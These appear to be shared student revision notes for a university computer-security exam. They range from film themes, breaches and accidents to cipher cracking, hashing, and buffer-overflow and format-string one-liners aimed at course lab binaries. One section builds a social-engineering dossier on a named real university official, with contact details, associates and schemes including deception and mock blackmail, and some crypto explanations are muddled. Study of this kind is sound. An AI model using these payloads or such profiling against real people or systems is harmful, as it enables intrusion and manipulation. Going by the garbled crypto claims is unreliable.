**The China Syndrome**

Themes:

* **Security through obscurity** - Press being shut down and not being allowed entry/access into critical areas. Trying to shut down the footage of the accident after they found out about the footage of the accident existed
* **Motive to cover up security risks** - Investors behind power plant didn’t want it being offline and making no revenue. New plant seeking approval to open up very soon, knew a security risk with current plant would certainly trigger checks into the new plant
* **Insider threat** - In this case, the insider (jack) was actually the good guy, but we still see the same traits of an insider threat. Someone on the inside being converted to another way of thinking/being coerced into helping someone outside, and using their access inside to help the outsiders get in.
* **Security measures inside facility** - One security measure that was in place was the deadlock doors outside of the control room. They could not be opened from the outside, only the inside. In the case of this movie, it allowed the good guys to win, but in the case of an attacker, would allow them to have access to the control room while also locking everyone else out. Makes the system vulnerable to insiders and compromised people.
* **Lack of redundancy** - The accident happened as a result of human error in reading the instruments, which then prompted the wrong response from the staff inside the control room. There was a lack of redundancies that allowed this to happen, which should have kicked in when the system detected the water level going too low.
* **Personal Assets** - each character is driven by what they find important. Reporter woman Kimberly is driven by journalistic integrity and revealing the truth. Supervisor Godell is driven by keeping the plant itself safe, and making sure it’s secure. Chairman That Looks Like Stephen Fry is driven by making the most money possible. Plant Overseer is driven by keeping his boss happy. The person who did the x rays of the components of the reactor was motivated by money and took shortcuts onaly making (i think it was 2 from memory) xrays (self interest, not sure if this is seperate)
* **Lack of Just Culture** - one of the employees of the plant (Ted) gets all defensive when Jack questions him on what he thought was going on during the emergency. Ted (understandably) thinks that the investigation is just looking for a scapegoat, someone to blame & fire for the accident, so is wary of saying anything that can be used against him. This is the opposite of a Just Culture of shared/open accountability, and is what happens when investigations are more focused on finding people to punish rather than on preventing the problem from happening again.

Plot outline (brief, pls add to this)

* Begins with reporter and cameraman at nuclear plant
* Go inside the plant, down the elevator to where it is run
* “Incident” occurs due to error with the water level gauge. Reading was incorrect, almost uncovered the reactor
* During incident, person in charge (Jack) notices a tremor in the room
* Cameraman illegally records incident from outside the room (no audio)
* [some workplace politics] Cameraman steals footage while journalist follows instruction from her employer to repress the footage
* Investigation into incident. Jack mentions the tremor, doesn’t seem to be taken seriously. He then asks coworker Ted if he also felt it despite Ted’s discomfort with discussing something they were forbidden to
* Turtle scene
* [next part is kind of a blur, pls fill in. I know she went looking for him and couldn’t find him]
* She finds the cameraman after visiting his workplace; he’s meeting with nuclear scientists and showing them the footage while they attempt to determine what the incident was all about
* Journalist visits the local bar near the plant where the workers hang out, meets Jack who tells her it wasn’t a big deal
* Jack begins his own research into the incident and is waved down by his boss
* He tells his boss the plant should be checked again before opening that week, but the boss cites lost revenue as a reason to get it back up ASAP
* He then runs scans on X-Rays of their machinery, discovers they were identical to previous versions and deduces forgery.
* He then visits the construction company who conducted the tests to confront them, but they insist the plant is safe
* Jack leaves the construction site declaring “The plant isn’t safe!” and the company then make an ominous phone call
* [some other stuff happens I think, can’t remember]
* Jack determines to show the forged scans to some valid authority, but he is snubbed at every turn
* [something something something. Maybe the car chase was here? I think he did more digging and found the broken machine]
* Jack then contacts the journalist to meet with her and explain to her the “real” account of the incident
* She visits him in his home where he looks decrepit and paranoid, and starts using technical language to explain what was happening that she can’t understand
* He eventually convinces her of the danger and says he has evidence that it isn’t safe.
* They agree for her friend to pick up the evidence from the plant
* As the friend returns from the plant with the evidence, he is run off the road by a mysterious car while Jack is at a hearing in which he hopes to present that evidence to them
* After being informed of the crash, Jack abandons hope of doing things the “right” way
* [something something]
* He then takes the plant by force and demands to speak to the journalist
* Many media outlets appear to listen to his testimony while the police work diligently to get in to the room
* He begins testifying in a disconnected way, sounding a bit crazy, but making it clear that he had good reason to think the plant wasn’t safe. Eventually an executive for the plant cuts the video feed
* Police break in and kill Jack immediately
* In the hubbub afterwards, the plant executives are trying to spin the story that Jack was obviously insane and it’s all over now and there’s no reason to worry
* Ted breaks his silence and declares that “Jack was the sanest man I knew”

**Skeleton Runthrough**

* Part A
  + **0:** CIA properties
    - Confidentiality: ensuring that only authorised people can access info
      * Usually achieved through encryption algos
    - Integrity: info isn’t modified in transit
      * Usually achieved through hashing algos
    - Authentication: only parties with proper authority can access info
      * Tbh this one is kinda dumb (most people say avaliability or smth)
        + The other 2 already might imply this
        + There’s probably a better expansion. Help pls
    - Non-Repudiation: cannot deny that info that was sent was sent
  + **1:** WarGames movie question
    - Summarise the scene we watched
    - Almost certainly will mention **Integrity** of the system as that was the focus of the scene - the system was vulnerable via its use of humans who might object to a launch
    - Good example of defense in depth - isolated location/facade of interior/deep underground/extremely secured doors (biometric)/rotating shifts/authorisation code via radio/tamper-proof access/two people needed for key turning
  + **2:** Cyberattacks in the real
    - Anyone know what could be covered here?
    - Recent Data Breaches
      * CapitalOne (mentioned in lecture so idk if we can say it)
        + >106Million stolen credentials
        + Used an exploit (ssrf) to leak improperly configured aws credentials
        + Hacker responsible has gone on to claim to have done a similar attack to 30 ish sites
      * Canva
        + May
        + 140Million stolen
        + Fortunately proper password protection methods take (salted bcrypt (bcrypt has stretching as well iirc))
      * Imperva WAF
        + Released on 28th Aug, detected on 20th
        + Imperva WAF tries to prevent attackers from submitting forms with potentially malicious content
        + Imperva is a cyber-security company
        + Customers include: Monash University, Government of Vietnam, Parts of the NZ government (not sure about this)
        + Stole not only credentials but api keys and customer’s ssl certificates.
    - Recent attacks
      * Webmin had a backdoor (Aug 2019)
        + Webmin is a popular gui for managing unix servers
        + > 215000 impacted
        + Someone injected malicious code into (a dependency in?) their build system

Supply chain attack

* + - * Ransomware attacks against US government organisations
        + Constant (esp this year)
        + June: The city of Riviera Beach, Florida USA paid roughly $600,000 ransom in Bitcoin
        + Especially concerning leading up to the election in 2020
        + Often less money to pay the ransom then get a security team in - more incentive
      * Kazakhstan Government
        + Not really an attack but pretty interesting
        + In July the Kazakhstan Government got all ISPs to require their users install https certificates, this meant that the government could monitor (really mitm and do whatever they want with) all traffic by people in their country
  + **3:** well known historic/recent news example that demonstrates *something*
    - Help
    - The question includes historical stories, so we can keep stuff in mind like the Fall of Troy, maybe Pompeii (?), or if you know of any famous incidents during the World Wars
    - China moves to let Xi stay in power by abolishing term limit -> seperation of power
    - Why the raids on media present a clear threat to democracy -> corruption
    - Kevin Tsujihara and Charlotte Kirk Sex-for-work scandal  -> corruption
    - ANU data breach
    - Great Fire of London - 1666, bakery caught fire, and then spread across London. Indecisiveness on part of the mayor let the fire spread widely. Building destruction (sometimes with gunpowder) allowed for firebreaks to be created, where buildings were destroyed to prevent fire spreading. Despite this, London was rebuilt afterward to the exact specification from before the fire
    - Eating poppy seeds make you fail drug test
    - Pregnant woman almost aborted her child after receiving false positive of Turner Syndrome
  + **4:** Socially Engineer UNSW’s Deputy Vice-Chancellor (Academic)
    - “Illegal activities” not allowed? Fraud, Impersonation, social engineering (not illegal)
    - Name: Professor Merlin Crossley
    - Email: [m.crossley@unsw.edu.au](mailto:m.crossley@unsw.edu.au)
    - Primary school: mount view primary school victoria (current principal: Glen Butler, [mount.view.ps@edumail.vic.gov.au](mailto:mount.view.ps@edumail.vic.gov.au))
    - DOB estimate 1964 (age 55) (<https://en.wikipedia.org/wiki/Queen%27s_College_(University_of_Melbourne)>)
    - UNSW Site: <https://www.unsw.edu.au/about-us/governance/management-board/deputy-vice-chancellor-academic>
    - Facts:
      * Molecular biologist, specialising in human genetic diseases
      * Serves on Trust of Australian Museum **(the museum that’s currently under refurbishment)**
      * Deputy Chair on Board of Aus Science Media Centre
      * On Board of Sydney Institute of Marine Science
      * On Council of EMBL Australia
      * Editorial Board of The Conversation
      * Married to Margot Kearns, Deputy Vice-Chancellor (Academic) of Notre Dame
      * Has a family blog <https://christmasramblings.wordpress.com/>
    - Known associates:
      * Indelle Scott ([i.scott@unsw.edu.au](mailto:i.scott@unsw.edu.au)) - Executive Assistant
      * Rachel Abel ([r.abel@unsw.edu.au](mailto:r.abel@unsw.edu.au)) - General Manager
      * Sarah Dunbar ([s.dunbar@unsw.edu.au](mailto:s.dunbar@unsw.edu.au)) - General Manager also
    - Plans to socially engineer:
      * Instate a new Deputy Vice-Chancellor and get them to sing at our party
      * Invite them to a party, get them drunk
      * Invite them to an event where singing is socially required (eg a birthday party in a restaurant)
      * Put more here everyone! It’s in our best interests to find the best possible answer!
      * [Not sure how far we can go] Tell him a lie directly related to his work/research (e.g. you found a mistake in one of his research papers and you’ll tell it to him after the birthday’s over).
      * Play the long con: Drop computer science and take a degree in biology, specializing in molecular biology and human genetic diseases. Make a huge breakthrough and get a nobel prize. On your birthday invite him to an event under the pretense of promoting biology in universities, make sure there's a dinner or something. Place him on your table. Halfway through dinner have someone mention its your birthday and have the rest of the table start singing. He will be peer pressured into singing as well. Record it. Use it to blackmail him (I have no idea how) into singing at all your future birthdays.
      * A recent development - DVC(A) emailed everyone about supporting climate change on sept 20th. This suggests that he does react to social pressure. Might do something to make him freak about reputation possibly?? <- this might hit a little too close to home and could be seen as offensive, so hopefully he doesn’t read these
  + **5:** Decipher one of four ciphertexts
    - General starts:
      * Look for repeating strings of characters
        + This was like the midsem right? Does anyone remember what we did after finding the repeated strings? Pls halp
      * If none are found, calculate letter frequencies. If we get frequencies similar to real English text (eg some letters are much more distinct) then it’s a transposition cipher
      * If no such patterns are found… no idea
        + This is sage advice
        + It’s my favourite spice
    - Ciphers / Encryption (This is backed by literally 0 proof reading, so if someone things its fked pls change it) (also if anyone knows of a reliable way of doing vignere for small inputs please also write <3)
      * AES - lol no have fun doing this by hand
      * Substitution
        + ID

The relative frequencies of characters will be the same

These usually “look” like english in terms of patterns

E.g. THAT → ABCA

* + - * + Cracking

Frequency analysis

Try replacing the most frequent letter in the cipher with the most frequent letter in english (although this is dodgy for quotes and short texts)

* + - * Transposition
        + ID

This will look like english except with the spelling ability of a 2 year old

Frequent letters will still be frequent (i.e. ETAOIN)

Letters commonly appearing together will still commonly appear together (assuming a sane keysize)

* + - * + Cracking

Try to construct common words from the letters at the beginning

As Richard likes quotes try things like You, The

E.g. E**T**K**EH**AYPOTGSNISXTEEHTASIMSOSAPFAYAWXITSR

Pattern 2 5 4 x x

Note if we picked the first E we would run into problems later, we then come back here and pick the second E

Continue the pattern you used to construct the word and see if you get more words.

E**T**K**EH**A**Y**P**OT**GSNISXTEEHTASIMSOSAPFAYAWXITSR

THE\_\_YTO\_\_

Guess THEKEYTO

* Pattern 2 5 4 3 1

ETKEHAYPOTGSNIS

THEKE YTOPA SSING

THE KEY TO PASSING

* + - * Vignere
        + ID

Frequencies of letters are (roughly uniform) i.e. there isn’t an obvious most common letter

There are repeating blocks of constant size (there’ll usually be random stuff between the repeating chunks) e.g. ABqeCpsABncCnlABjaClf

* + - * + Cracking

Kasiski examination

Try to determine/guess key size

If we can find repeating blocks the “size” of each block is the key size

* If the text is big you might be able to factor the size of these blocks so you have a more concrete guess for key size

Calculate the coincidence index (this is very unreliable to small (e.g. what we have in the exam) texts)

* Keysize 2 → IC ~= 0.052
* Keysize 5 → IC ~= 0.041

Create a list of all the blocks such that the n-th character in each block is in the same column (wording)

E.g. Ciphertext: loljgdqbewlkgclyloltgvu

Aligned:

* L o l j
* G d q b
* E w l k
* G c l y
* L o l t
* G v u \_

Each column of the list is now a simple substitution cipher we can do frequency analysis to solve these

The example is too smol to do

After solving a few columns we can then see words start to form. We can use these words to guess more of the key

* + - * One time pad
        + ID

In a question there will typically be a few (at least 2) ciphertexts given that were specifically enciphered using the same key

* + - * + Cracking

E.g. 1→ MWRFEYZVZJNWQAXPGILBM  
       2 → MWNYHFRTUNPPUKLXTSZWD

Guess a word that one of the ciphers might start with, and find the key that corresponds to that

Let’s guess “The”

OTP(“The”, key=“som”) == “MWR”

Try the key you found on the other text

UNOTP(“MWN”, “som”) = “THA”

Guess the rest of the first word in cipher 2

“THAT”?

OTP(“THAT”, “some”) == “MWNY”

Try that key on the first cipher

UNOTP(“MWRF”, “some”) == “thea”

Continue this until you have cracked both

If you get stuck guess more words

* + **6:** Hashing/Encrypting
    - Notes on Hashing:
      * *Pre-Image Resistance*
        + Given a hash of a message, finding the message should be hard
        + Requires 2^bitsOfHash
        + Therefore, a *100-bit hash requires 2^100* bits of work
      * *Second Pre-Image Resistance*
        + Given a message, finding another message with the same hash should be hard
        + Requires 2^bitsOfHash
        + Therefore, a *100-bit hash also requires 2^100* bits of work
      * *Collision Resistance*
        + Finding two messages with the same hash should be difficult
        + Requires 2^(bitsOfHash/2)
        + Therefore, a *100-bit hash requires 2^50 bits of work* to collision attack thanks to “birthday paradox”
  + **7:** Protocol uses unbroken 100-bit crypto hash function
    - 100-bit hash function -> 2^100 bits of work to find a collision naturally, 2^50 using birthday attack
    - SHA-1 is a 160-bit hash function, and is considered broken (vulnerable to collision attacks)
      * Note this isn’t because SHA-1 is a 160-bit function - someone just managed to generate a “fast cracker” (still takes like a few thousand GPU-years)
    - Therefore, we could simply break this particular function, or try and perhaps subvert it (depends on the question)
  + **8:** Public key Cryptography
    - Basically, there’s a public key and a private key
    - Public key (K+) is used by anyone to encrypt a message, therefore must be known to everyone. Private key (K-) decrypts the key, this must be kept secret.
    - It works both ways:
      * Encrypt with K+(m) ----> Decrypt with K-(K+(m)) = m, OR
      * Encrypt with K-(m) -----> Decrypt with K+(K-(m)) = m
  + **9:** Exploding ship at Halifax, 1917
    - Details about incident
      * <https://www.youtube.com/watch?v=OSuX9RvLq54>
      * Basically, Halifax is a port in Canada
      * During WW1 it was a highly trafficked port, basically all ships travelling to North America over the Atlantic went through it to be checked
      * A ship called the Mont-Blanc was laden with explosives, and was set to join a convoy across the Atlantic (convoys are good vs submarine attack)
      * A Norwegian ship, the Imo, was detained the previous day, and as such exceeded safe port speeds while leaving port, and travelled on the wrong side of the ship-lane. This lead to collision with the Mont-Blanc
    - Judicial inquiry afterward found the **staff of the French ship Mont-Blanc wholly guilty** and charged them with manslaughter (charges later dropped due to lack of evidence)
    - Inquiry blamed *Mont-Blanc*'s [captain](https://en.wikipedia.org/wiki/Captain_(naval)), Aimé Le Médec, the ship's [pilot](https://en.wikipedia.org/wiki/Maritime_pilot), Francis Mackey, and Commander F. Evan Wyatt, the Royal Canadian Navy's chief examining officer in charge of the harbour, gates and anti-submarine defences, for causing the collision.[[131]](https://en.wikipedia.org/wiki/Halifax_Explosion#cite_note-FOOTNOTEFlemming200471-131) Drysdale agreed with Dominion Wreck Commissioner L. A. Demers' opinion that "it was the *Mont-Blanc*'s responsibility alone to ensure that she avoided a collision at all costs" given her cargo; the judge was likely influenced by popular anti-french sentiment at the time (and most of the Imo’s staff were dead, so harder / less satisfying to blame them)
    - Supreme court later said that the two ships were equally at fault: both should have sensed danger and stopped
    - Pilet and master guilty of gross negligence
    - The post in charge of gate is guilty of negligence should have known the ship was coming
    - Wartime exceptions: normally, ships carrying dangerous cargo like this were *not allowed into the harbour* / they had to have a *flag indicating their dangerous cargo* (didn’t want to draw attention to ship)
    - Mackey (Mont Blanc) had asked about protections like a *guard ship* but none were put in place
  + **10:** Famous Accident (Chernobyl, Bhopal, Challenger)
    - Challenger
      * After several technical and weather-related delays, Challenger launched at 11:38 a.m. EST on Jan. 28, 1986.
      * a seal, called an O-ring, on the shuttle's right solid rocket booster had failed at liftoff, allowing pressurized hot gas to escape from inside the booster.
      * This vaporized material impinged on the strut connecting the solid rocket booster to the shuttle's huge orange external tank, causing both pieces of hardware to break down.
      * there was a massive, almost explosive, burning of the hydrogen that was streaming from the failed tank bottom, combined with liquid oxygen leaking from a part of the fuel tank known as the intertank.
      * There was no escape system available
      * The o'rings were not certified to work in cold weather, they had been warned about the potential of a catastrophic failure but did nothing due to pressure to launch
    - Chernobyl:
      * The accident occurred during a power outage experiment for testing the effectiveness of utilizing the remaining rotational energy of the water turbine pump for pumping the water into the reactor core.
      * On 26th of April 1986, the experiment is planned to take place in the morning on the No. 4 reactor of the Chernobyl nuclear power place. However, because of an unexpected power shortage, the experiment had to be postponed  and the No.4 reactor had to generate full power for the entire day.
      * Due to its operation on the day, a phenomenon referred as nuclear poisoning occurred and cause the power to be unacceptantly low for the experiment.
      * The deputy chief of the plant, Anatoly Dyatlov decided to continue the experiment by pulling all but 18 of the control rods out of the core.
      * In the gap between the electric power cut-off and the alternative diesel engine kicking in to pump the water into the core, the water influx rate into the core slowed down because of the decrease in power. Subsequently, more steam was converted (PV=nRT) and the power rate sky-rocketed. Emergency button was hit and all the control rods were pushed into the core; however since the tips of the control rods were made of graphite the power increased even higher, and it caused a steam explosion in the end.
* Part B
  + **1:** You are the chief privacy and data security officer for someone
    - Risks to be concerned about
      * Probably dependent on the person in question
      * Personal safety vs safety of the position (need to keep a president safe, but need to keep the role of the president safe too)

**6841 Quick Tips**

Buffer Overflow Attacks: experiment with input string lengths until you reach beyond the buffer. Input should look like (make sure its python2)  
$ python -c ‘print “A”\*100’ | ./program

Where the 100 can be swapped out for whatever number is appropriate

When using function addresses, fill in a buffer and then use the address of the function e.g. if the function address is 080484e7.

$ python -c ‘print “A”\*100 + “\xe7\x84\x04\x08”’ | ./program

And adjust the buffer size until success

An easier way of doing this (as mentioned by one of the students in the revision lecture) is to instead do:

$ python -c "print 'A' + '\xe7\x84\x04\x08'\*200" | ./program

The \*200 is arbitrary, just put in a really big number to make sure you get that segfault

And change the amount of 'A's that you put into your command as trial and error (from 0 A's to 3 A's (multiples of four)).

e.g.

python -c "print 'AA' + ...." | ./program

python -c "print 'AAA' + ..." | ./program

Note: you can use objdump -d to get the assembly format of the assembled/compiled code and thus get the addresses - you want to find the address of a function that looks like the answer (i.e. ‘win’, ‘flag’, etc.)

But not sure if it’ll be that easy in the exam

^I believe he mentioned in the lecture that if he didn’t name it “win” or “flag” it’d be something stupid like “plsdontrunme”.

Moar Note: you can sorta cheese this by going

for i in `seq 1 1000`; do python2 -c “print ‘A’ \* $i + payload” | ./program; done

Format String attack: when using input strings attempt to use programming keywords to format the string to your advantage (e.g. the % options in C or sql commands).

To grab memory address from a C program use a list of %x calls in sequence with a %s on the end and alter the number of %x calls until you find the desired address. For example:  
$ python -c ‘print “%x “\*10 + “%s”’ | ./program

Has anyone gotten the buffer overflow programs to work on their machine? I have forked the github repo he gave us, but when I try to make it via the makefile I just get an error, so I am unable to run it

Anyone know how to properly make them?